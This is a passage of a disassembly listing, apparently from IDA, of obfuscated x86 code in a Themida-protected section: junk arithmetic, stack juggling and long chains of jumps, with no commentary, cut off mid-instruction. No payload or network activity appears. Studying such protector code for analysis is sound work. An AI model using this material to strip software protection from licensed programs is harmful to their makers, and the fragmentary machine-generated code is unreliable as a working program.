--------------------------------------------------------------------------- loc_55CF26: ; CODE XREF: Themida_:0055EAEAj mov edx, 2C2A7Ah xor edx, 2C2A7Eh add esi, edx pop edx sub esi, 4 jmp loc_566F3C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55CF3F: ; CODE XREF: sub_56755A-AD97j mov esp, [esp-4+arg_0] jmp loc_56956F ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55CF47: ; CODE XREF: Themida_:005625D2j push 2463h jmp loc_55FDD4 ; --------------------------------------------------------------------------- loc_55CF51: ; CODE XREF: Themida_:0055BFEAj push 4808h mov [esp], eax mov eax, esp add eax, 4 push ecx push edx mov edx, 2AD246A4h neg edx xor edx, 3B7C568Fh or edx, 4C533E08h xor edx, 0EE53FFDFh mov ecx, edx jmp loc_55BADC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55CF82: ; CODE XREF: sub_56755A+7306j push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp-4+arg_0] pop esp add edx, edi push dword ptr [edx] xor [esp-4+arg_0], 0D4623F7h jmp loc_566C8A ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55CFA4: ; CODE XREF: Themida_:00565BAFj not ebp inc ebp xor ebp, 8F0CD66Dh and ecx, ebp pop ebp sub esp, 4 mov [esp], eax push esi push 59630440h pop esi dec esi jmp loc_56807C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55CFC3: ; CODE XREF: sub_56755A-A8B2j mov cl, dh mov bl, cl jmp loc_55C163 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55CFCC: ; CODE XREF: Themida_:00569F43j xor dl, [esp] xor [esp], dl mov ecx, [esp] add esp, 4 push 3253h mov [esp], eax sub esp, 4 mov [esp], edx mov dl, cl jmp loc_56E0F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E54A loc_55CFED: ; CODE XREF: sub_55E54A+D871j add dword ptr [esp], 4 pop ebx add ebx, 4 push esi mov esi, 23AC29A4h push ecx jmp loc_56DF8D ; END OF FUNCTION CHUNK FOR sub_55E54A ; --------------------------------------------------------------------------- loc_55D007: ; CODE XREF: Themida_:0056AD4Ej mov esi, 4 jmp loc_564DE6 ; --------------------------------------------------------------------------- loc_55D011: ; CODE XREF: Themida_:0056ABACj xor dl, 4Ch jmp loc_5643E6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55D71E loc_55D019: ; CODE XREF: sub_55D71E+10273j mov esi, ebp pop ebp sub ebp, 31DD2D78h add ebp, esi add ebp, 31DD2D78h pop esi xor ebp, [esp+4+var_4] jmp loc_56F5C4 ; END OF FUNCTION CHUNK FOR sub_55D71E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E257 loc_55D033: ; CODE XREF: sub_55E257+349Bj sub eax, 0E83FE8EEh sub ecx, eax jmp loc_567E53 ; END OF FUNCTION CHUNK FOR sub_55E257 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E99C loc_55D03F: ; CODE XREF: sub_55E99C+4ADAj add ebx, ebp pop ebp jmp loc_55BA37 ; END OF FUNCTION CHUNK FOR sub_55E99C ; --------------------------------------------------------------------------- loc_55D047: ; CODE XREF: Themida_:00561336j mov [esp], ebp mov ebp, 275B3063h push ebp mov ebp, 6B696544h shr ebp, 6 jmp loc_570658 ; --------------------------------------------------------------------------- loc_55D05D: ; CODE XREF: Themida_:0055BF1Ej push edx jmp loc_56AE7D ; --------------------------------------------------------------------------- loc_55D063: ; CODE XREF: Themida_:00568C97j push 1CB9h jmp loc_55C332 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55D06D: ; CODE XREF: sub_56755A+84F8j pop esp jmp loc_5604B1 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55D073: ; CODE XREF: Themida_:0055D925j add esi, 74AA057Bh and edi, esi pop esi not edi sub edi, 0BBF1B15Dh jmp loc_55BEEB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55D089: ; CODE XREF: sub_56755A-525Aj push ecx push [esp+1Ch+var_18] jmp loc_565F8E ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55D093: ; CODE XREF: Themida_:00563C32j mov edx, 689F5380h xor esi, edx mov edx, [esp] add esp, 4 sub esi, 26BC63C4h push ebp push esi mov esi, 6FCD2B83h mov ebp, esi mov esi, [esp] add esp, 4 add ebp, 0C7CFEA60h sub eax, ebp pop ebp add eax, esi add eax, 379D15E3h mov esi, [esp] add esp, 4 xor ebx, eax mov dx, [esp] push 638Ah mov [esp], edi sub esp, 4 jmp loc_56CA19 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55D0E4: ; CODE XREF: sub_56755A+2843j neg ebx add ebx, 3EA505FFh jmp loc_56F5CF ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55D0F1: ; CODE XREF: Themida_:005700EDj push eax mov ah, dh mov cl, ah pop eax pop edx add al, cl mov cx, [esp] add esp, 2 push 474Ah jmp loc_5706B9 ; --------------------------------------------------------------------------- loc_55D10B: ; CODE XREF: Themida_:00565D35j push edx jmp loc_56ABA4 ; --------------------------------------------------------------------------- loc_55D111: ; CODE XREF: Themida_:0056DD58j mov cl, 2Dh mov bh, cl mov ecx, [esp] push eax mov eax, esp jmp loc_565C80 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55D120: ; CODE XREF: sub_56755A-489Fj push esp push [esp+24h+var_24] pop edi add esp, 4 jmp loc_5602E0 ; --------------------------------------------------------------------------- loc_55D12D: ; CODE XREF: sub_56755A-11B4j mov esi, [esp+20h+var_20] add esp, 4 push ebx mov ebx, 18365E6Ch sub eax, ebx pop ebx sub eax, esi push esi mov esi, 18365E6Ch jmp loc_568BBC ; --------------------------------------------------------------------------- loc_55D149: ; CODE XREF: sub_56755A+59D5j mov edi, [esp+20h+var_20] jmp loc_56EB95 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5635DE loc_55D151: ; CODE XREF: sub_5635DE+50F7j push 6C13h mov [esp+8+var_8], esp push esi jmp sub_568470 ; END OF FUNCTION CHUNK FOR sub_5635DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565269 loc_55D15F: ; CODE XREF: sub_565269-6B07j push [esp+10h+var_C] pop ecx pop [esp+10h+var_10] pop esp mov [esp+8+var_8], ebp mov ebp, edx jmp sub_56CD48 ; END OF FUNCTION CHUNK FOR sub_565269 ; --------------------------------------------------------------------------- loc_55D172: ; CODE XREF: Themida_:0056262Cj mov [esp], eax push dword ptr [esp+4] jmp loc_566845 ; --------------------------------------------------------------------------- loc_55D17E: ; CODE XREF: Themida_:0055BA13j mov [esp], ebp push esp mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add ebp, 4 push 0EF9h jmp loc_55F689 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB7D loc_55D1A8: ; CODE XREF: sub_56CB7D-C802j push [esp+14h+var_14] pop edx push 28D1h mov [esp+18h+var_18], ebp push esp jmp loc_56ABC2 ; END OF FUNCTION CHUNK FOR sub_56CB7D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55D1BA: ; CODE XREF: sub_56755A+9E3j mov ecx, 0BFBCCCB1h mov edi, ecx pop ecx jmp loc_55D493 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55D1C7: ; CODE XREF: Themida_:005643EDj add al, 5Ah pop ecx add al, bl push ebx jmp loc_566ACF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E54A loc_55D1D2: ; CODE XREF: sub_55E54A+Aj mov edx, [esp+4+var_4] add esp, 4 sub cl, 3Ch xor al, cl mov ecx, [esp+0] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+4+var_4] pop esp push cx jmp loc_55BAFC ; END OF FUNCTION CHUNK FOR sub_55E54A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570668 loc_55D1FD: ; CODE XREF: sub_570668-707Aj mov [esp+4+var_4], edx mov edx, 0 jmp loc_560736 ; END OF FUNCTION CHUNK FOR sub_570668 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_55D20A: ; CODE XREF: sub_56E89A-10536j xor ecx, 4F4311AAh sub esi, ecx pop ecx jmp loc_56C315 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- loc_55D218: ; CODE XREF: Themida_:00562A35j mov ebp, 4 add eax, ebp pop ebp xchg eax, [esp] pop esp jmp loc_565ACE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55D229: ; CODE XREF: sub_56755A+25C5j mov edx, [esp+1Ch+var_1C] push eax jmp loc_55DB24 ; --------------------------------------------------------------------------- loc_55D232: ; CODE XREF: sub_56755A-793Ej push [esp+20h+var_1C] mov ebx, [esp+24h+var_24] add esp, 4 jmp loc_55EE2C ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- mov cx, [esp] push ebx push esp pop ebx add ebx, 4 sub ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp mov [esp], edi push esp pop edi push esi mov esi, 4 jmp loc_5621C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55D271: ; CODE XREF: sub_56755A+37BDj push edx jmp loc_55E8DE ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55D71E loc_55D277: ; CODE XREF: sub_55D71E+37j xor ebp, eax jmp loc_56D990 ; END OF FUNCTION CHUNK FOR sub_55D71E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570668 loc_55D27E: ; CODE XREF: sub_570668-A303j shr edi, 7 xor edi, 9B21F8Eh add eax, edi pop edi jmp loc_5695E6 ; END OF FUNCTION CHUNK FOR sub_570668 ; --------------------------------------------------------------------------- loc_55D28F: ; CODE XREF: Themida_:00564FC4j sub ebx, 0C82DEB5Dh sub esi, ebx pop ebx add esi, 2EAF7016h add esi, eax sub esi, 2EAF7016h push edi push ebx jmp loc_5619E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B62C loc_55D2AD: ; CODE XREF: sub_56B62C-5710j pop ax mov ah, bh pop ebx and ah, 4Ch push dx mov dh, 0DDh xor ah, dh mov dx, [esp+8+var_8] add esp, 2 add dh, ah jmp loc_56B597 ; END OF FUNCTION CHUNK FOR sub_56B62C ; --------------------------------------------------------------------------- loc_55D2C9: ; CODE XREF: Themida_:00560B73j push esi mov esi, 2BC92310h shr esi, 8 xor esi, 41544A05h jmp loc_561A08 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55EA9F loc_55D2DD: ; CODE XREF: sub_55EA9F+EC4Cj mov edx, esp add edx, 4 push ebx mov ebx, 4 add edx, ebx jmp loc_56892C ; END OF FUNCTION CHUNK FOR sub_55EA9F ; --------------------------------------------------------------------------- loc_55D2F2: ; CODE XREF: Themida_:0056561Dj shr edi, 6 push eax mov eax, 15C025B1h shl eax, 6 shr eax, 2 jmp loc_56C6DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55D306: ; CODE XREF: sub_56755A-26Ej mov ecx, 67952DA3h sub eax, 6EED5E6Ah sub eax, ecx push ebx mov ebx, 45047542h neg ebx jmp loc_55D794 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55D31F: ; CODE XREF: Themida_:00568390j pop ebp jmp loc_55FEC2 ; --------------------------------------------------------------------------- loc_55D325: ; CODE XREF: Themida_:0056598Bj mov ebp, esp add ebp, 4 push esi mov esi, 4 add ebp, esi pop esi xchg ebp, [esp] mov esp, [esp] jmp loc_56DD4D ; --------------------------------------------------------------------------- loc_55D341: ; CODE XREF: Themida_:005704F7j add eax, 12810486h jmp loc_56ADC8 ; --------------------------------------------------------------------------- loc_55D34B: ; CODE XREF: Themida_:0056878Fj shr esi, 1 xor esi, 63A8C01Eh sub ebx, esi pop esi jmp loc_563C9A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55D35B: ; CODE XREF: sub_56755A-14ABj add eax, 5F2127F9h add eax, esi sub eax, 5F2127F9h sub eax, 40AF06B1h pop esi push ebx push esi push 45157A52h mov esi, [esp+30h+var_30] add esp, 4 and esi, 1571457h inc esi xor esi, 1151057h mov ebx, esi mov esi, [esp+2Ch+var_2C] add esp, 4 add eax, ebx pop ebx push eax push [esp+28h+var_24] jmp loc_566738 ; --------------------------------------------------------------------------- loc_55D3A2: ; CODE XREF: sub_56755A-402Fj xor bl, dh pop edx or bl, 0E2h xor bl, 0ADh jmp loc_5689A2 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56026A loc_55D3B0: ; CODE XREF: sub_56026A-40F9j pop edx push edx sub esp, 4 push esp pop [esp+10h+var_10] push ecx mov ecx, 4 add [esp+10h+var_C], ecx pop ecx mov edx, [esp+0Ch+var_C] add esp, 4 add edx, 4 add edx, 4 xchg edx, [esp+8+var_8] pop esp push 2F81h mov [esp+8+var_8], ecx push ebp jmp loc_565EEA ; END OF FUNCTION CHUNK FOR sub_56026A ; --------------------------------------------------------------------------- loc_55D3E8: ; CODE XREF: Themida_:0056DF2Ej mov esp, [esp] movzx ecx, ax push ebp push 6F19h jmp loc_56BCD2 ; --------------------------------------------------------------------------- loc_55D3F9: ; CODE XREF: Themida_:00560E41j push ebx mov bl, 5 not bl or bl, 0A8h add bl, 16h jmp loc_56E5F4 ; --------------------------------------------------------------------------- loc_55D409: ; CODE XREF: Themida_:0055DC29j push 34CCh mov [esp], ecx push esp push dword ptr [esp] pop ecx add esp, 4 jmp loc_567325 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55D41E: ; CODE XREF: sub_56755A+8BA9j inc edi sub esp, 4 mov [esp+2Ch+var_2C], edi jmp loc_56BBA8 ; --------------------------------------------------------------------------- loc_55D42A: ; CODE XREF: sub_56755A-4C16j pop esp and edi, 44BA27FEh not edi jmp loc_563E0F ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5646E3 loc_55D438: ; CODE XREF: sub_5646E3-5E16j pop eax add edi, 0C79097Ah push [esp-4+arg_0] jmp loc_5609AD ; END OF FUNCTION CHUNK FOR sub_5646E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FDEF loc_55D447: ; CODE XREF: sub_55FDEF+F37Ej mov esi, 37146F27h sub esi, 8B01EB5h jmp loc_55E91B ; END OF FUNCTION CHUNK FOR sub_55FDEF ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push ebp push esp mov ebp, [esp] jmp loc_562925 ; --------------------------------------------------------------------------- loc_55D465: ; CODE XREF: Themida_:0056E082j xor ecx, ebx pop ebx jmp loc_56E4E7 ; --------------------------------------------------------------------------- loc_55D46D: ; CODE XREF: Themida_:0056654Cj mov [esp], ebp push 3E5C4B08h pop ebp add edx, 678F6F70h sub edx, ebp push 0A44h mov [esp], ecx jmp loc_562E37 ; --------------------------------------------------------------------------- loc_55D48B: ; CODE XREF: Themida_:00563398j mov esi, [esp] jmp loc_56A48B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55D493: ; CODE XREF: sub_56755A-A398j sub ebp, edi pop edi push edx mov edx, ebp mov ebx, edx pop edx pop ebp jmp loc_56E823 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5646E3 loc_55D4A2: ; CODE XREF: sub_5646E3-3D13j mov ecx, 6F736B81h push ecx pop ebx jmp loc_563F93 ; END OF FUNCTION CHUNK FOR sub_5646E3 ; --------------------------------------------------------------------------- loc_55D4AE: ; CODE XREF: Themida_:00569B2Fj add ebp, eax pop eax shl ebp, 6 push ebp neg dword ptr [esp] pop ebp jmp loc_561CEF ; --------------------------------------------------------------------------- loc_55D4BE: ; CODE XREF: Themida_:0056F2EEj or eax, 29C44C9Ah sub eax, 1F631699h add eax, 361161B6h add eax, 72A7099Fh add edx, eax jmp loc_56E067 ; --------------------------------------------------------------------------- loc_55D4D9: ; CODE XREF: Themida_:0056B294j shl dl, 6 jmp loc_568E1C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55D4E1: ; CODE XREF: sub_56755A-3308j xor esi, [esp+14h+var_14] xor [esp+14h+var_14], esi xor esi, [esp+14h+var_14] jmp loc_569267 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB7D loc_55D4EF: ; CODE XREF: sub_56CB7D-BE04j add esp, 4 sub esp, 4 mov [esp+8+var_8], edi push esp pop edi push ecx push 6134h mov [esp+10h+var_10], edi mov edi, 4 push edi jmp loc_55FFE2 ; END OF FUNCTION CHUNK FOR sub_56CB7D ; --------------------------------------------------------------------------- loc_55D50E: ; CODE XREF: Themida_:0056A6B1j add esp, 4 jmp loc_56C185 ; --------------------------------------------------------------------------- loc_55D516: ; CODE XREF: Themida_:0056226Dj sub edx, 4 jmp loc_564621 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55D51E: ; CODE XREF: sub_56755A-813Aj mov edi, [esp+14h+var_14] add esp, 4 push ebp push eax mov eax, 20ED6C54h mov ebp, 20ED6C50h xor ebp, eax pop eax add ecx, ebp pop ebp xchg ecx, [esp+10h+var_10] pop esp mov ecx, [esp+0Ch+var_C] push ebp mov ebp, esp jmp sub_56EAA9 ; --------------------------------------------------------------------------- loc_55D545: ; CODE XREF: sub_56755A+4450j push ebx push esi jmp loc_5676B7 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56250B loc_55D54C: ; CODE XREF: sub_56250B+B480j pop edi shr cx, 8 xchg ax, cx not ax xchg ax, cx shl cx, 5 shr cx, 1 add cx, 8712h mov si, cx pop ecx add bx, si pop si push [esp+4+var_4] pop ebp push ebp mov ebp, esp push edi mov edi, 7C27423Dh add edi, 83D8BDC7h add ebp, edi jmp loc_565F5A ; END OF FUNCTION CHUNK FOR sub_56250B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_55D587: ; CODE XREF: sub_56E89A-AF5Bj mov edx, ebx pop ebx mov ebp, edx mov edx, [esp+0Ch+var_C] add esp, 4 jmp loc_564917 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5644A0 loc_55D59A: ; CODE XREF: sub_5644A0+3j mov [esp+4+var_4], edx mov edx, 0AD545AEh or ecx, edx pop edx inc ecx sub ecx, 1 push ebp mov ebp, 4CA508EDh inc ebp jmp sub_566894 ; END OF FUNCTION CHUNK FOR sub_5644A0 ; --------------------------------------------------------------------------- loc_55D5B5: ; CODE XREF: Themida_:0055C022j add ecx, 3D7312A4h sub ecx, eax sub ecx, 3D7312A4h pop eax pop edi add ecx, 2 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov ax, [esp] jmp loc_5625F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55D5E0: ; CODE XREF: sub_56755A-2C82j pop eax xor edi, 129532A6h not edi not edi and edi, 3CAD49EFh sub edi, 2C840987h jmp loc_563CF9 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D164 loc_55D5FC: ; CODE XREF: sub_56D164+14j and eax, ebx mov ebx, [esp+0] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+4+var_4] pop esp shr eax, 8 xor eax, ecx push eax xchg ebp, [esp+4+var_4] not ebp jmp loc_565356 ; END OF FUNCTION CHUNK FOR sub_56D164 ; --------------------------------------------------------------------------- loc_55D624: ; CODE XREF: Themida_:0055C3F1j jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55D629: ; CODE XREF: sub_56755A-1935j add esp, 4 push 3638h mov [esp+14h+var_14], edx push esp jmp loc_56E358 ; --------------------------------------------------------------------------- loc_55D63D: ; CODE XREF: sub_56755A+8709j and esi, ecx jmp loc_55C8CB ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB1B loc_55D644: ; CODE XREF: sub_56CB1B-5FCCj not ebx inc ebx xor ebx, 3481D3BDh jmp loc_56EDFB ; END OF FUNCTION CHUNK FOR sub_56CB1B ; --------------------------------------------------------------------------- loc_55D652: ; CODE XREF: Themida_:0056A8E4j sub esp, 4 mov [esp], edi mov edi, 35C69B0h add esi, edi pop edi sub esi, ebx sub esi, 35C69B0h sub esi, 20A8752Eh push dword ptr [esp] mov ebx, [esp] add esp, 4 push eax mov eax, esp push edx mov edx, 4 add eax, 9F164EAh jmp loc_55E63D ; --------------------------------------------------------------------------- loc_55D68A: ; CODE XREF: Themida_:00561290j sub esp, 4 mov [esp], ebx mov ebx, 7FF5734Ah or ebx, 2D353246h inc ebx inc ebx push ebp jmp loc_565776 ; --------------------------------------------------------------------------- loc_55D6A6: ; CODE XREF: Themida_:00569A2Ej mov esp, [esp] push eax push esp jmp loc_56BD31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55D6B0: ; CODE XREF: sub_56755A-8D5j sub bl, 96h add bl, al add bl, 96h jmp sub_56626C ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55D6BD: ; CODE XREF: Themida_:0056DEADj pop eax sub cl, 2Ch sub dl, cl jmp loc_567E36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55D6C8: ; CODE XREF: sub_56755A-8056j neg ebx jmp loc_55BC54 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_55D6CF: ; CODE XREF: sub_56E89A-574Aj pop edx shr edx, 6 xor edx, 4B83243Dh shl edx, 5 add edx, 0A8CA9D8Eh mov eax, edx pop edx sub esp, 4 jmp loc_568E56 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55D6ED: ; CODE XREF: sub_56755A-8327j mov ebp, esi pop esi shl ebp, 8 push eax jmp loc_56BACC ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55D6F9: ; CODE XREF: Themida_:0056C8A6j mov ebp, 45D42E73h jmp loc_56A754 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CD48 loc_55D703: ; CODE XREF: sub_56CD48-7AE4j and ecx, 73A44523h inc ecx dec ecx and ecx, 68993D44h add ecx, 44650A22h xor ebx, ecx jmp loc_56F958 ; END OF FUNCTION CHUNK FOR sub_56CD48 ; =============== S U B R O U T I N E ======================================= sub_55D71E proc near ; CODE XREF: sub_56F653-498j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0055D019 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0055D277 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0055EBBE SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0055F517 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00560A15 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005665B2 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005669DD SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00567544 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056A58E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056B8A3 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056C80A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056CDD0 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056D7BA SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056D990 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056F5C4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056FF68 SIZE 00000011 BYTES sub esp, 4 mov [esp+4+var_4], esi push ebp push 7E5B598Bh push [esp+0Ch+var_C] pop ebp push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+10h+var_10] pop esp or ebp, 6CBE451Ch sub esp, 4 mov [esp+10h+var_10], eax mov eax, 7EFF5D9Dh jmp loc_55D277 sub_55D71E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562F50 loc_55D75A: ; CODE XREF: sub_562F50+292Aj add edx, eax pop eax not edx jmp loc_5657C6 ; END OF FUNCTION CHUNK FOR sub_562F50 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CEE9 loc_55D764: ; CODE XREF: sub_56CEE9-B3AAj add esp, 4 jmp loc_56069A ; END OF FUNCTION CHUNK FOR sub_56CEE9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55D76F: ; CODE XREF: sub_56755A-A981j mov cl, dh not cl mov dh, cl jmp loc_56F2F9 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55D77A: ; CODE XREF: Themida_:0055CAB9j sub ebp, 4 jmp loc_561A28 ; --------------------------------------------------------------------------- loc_55D782: ; CODE XREF: Themida_:005706B4j jmp loc_55B555 ; --------------------------------------------------------------------------- loc_55D787: ; CODE XREF: Themida_:00564312j push ecx mov ecx, 925192C2h sub ebx, ecx jmp loc_568FB5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55D794: ; CODE XREF: sub_56755A-A240j or ebx, 43ED39E9h jmp loc_56813E ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568D4B loc_55D79F: ; CODE XREF: sub_568D4B-2456j pop dword ptr [esp+0] mov esp, [esp-4+arg_0] push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+0] pop esp mov [esp-4+arg_0], ebx push eax mov ah, dl jmp loc_55E767 ; END OF FUNCTION CHUNK FOR sub_568D4B ; --------------------------------------------------------------------------- loc_55D7C3: ; CODE XREF: Themida_:0057019Dj sub esp, 4 jmp loc_567CA4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55D7CE: ; CODE XREF: sub_56755A-1E9j xor ebx, [esp+28h+var_28] xor [esp+28h+var_28], ebx xor ebx, [esp+28h+var_28] pop esp mov [esp+24h+var_24], edx jmp loc_55BC43 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB7D loc_55D7E0: ; CODE XREF: sub_56CB7D+1901j mov ebx, [esp+0Ch+var_C] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+10h+var_10] pop esp add ecx, 5ACA1A14h add ecx, ebp jmp loc_56CFA9 ; END OF FUNCTION CHUNK FOR sub_56CB7D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55D803: ; CODE XREF: sub_56755A-B1B4j xor bl, ah mov ax, word ptr [esp+0Ah+var_C+2] add esp, 2 add al, bl mov ebx, [esp+6+var_8+2] add esp, 4 push 6921h mov [esp+6+var_8+2], ecx push ebx jmp loc_56F79B ; --------------------------------------------------------------------------- loc_55D828: ; CODE XREF: sub_56755A+10D4j ; sub_56755A+8631j push 6DBDh mov [esp+0Eh+var_10+2], ebx push [esp+0Eh+var_10+2] pop eax jmp loc_55E44E ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55D839: ; CODE XREF: Themida_:0055F7CFj add al, bh push cx mov cl, 5Ah jmp loc_56D825 ; --------------------------------------------------------------------------- loc_55D844: ; CODE XREF: Themida_:0055EA81j pop esp mov cx, [esp] push 5AAh mov [esp], eax jmp loc_56AD44 ; --------------------------------------------------------------------------- loc_55D856: ; CODE XREF: Themida_:0056394Cj xor ecx, ebx pop ebx jmp loc_569481 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D83A loc_55D85E: ; CODE XREF: sub_56D83A-5329j pop esp push 33D3h mov [esp-8+arg_0], eax mov eax, 0B105CE5h push ebp push 56F14CCDh mov ebp, [esp+0] jmp loc_56FC3B ; END OF FUNCTION CHUNK FOR sub_56D83A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55D87A: ; CODE XREF: sub_56755A+5C91j push 1D74h mov [esp+12h+var_14+2], ecx mov ecx, 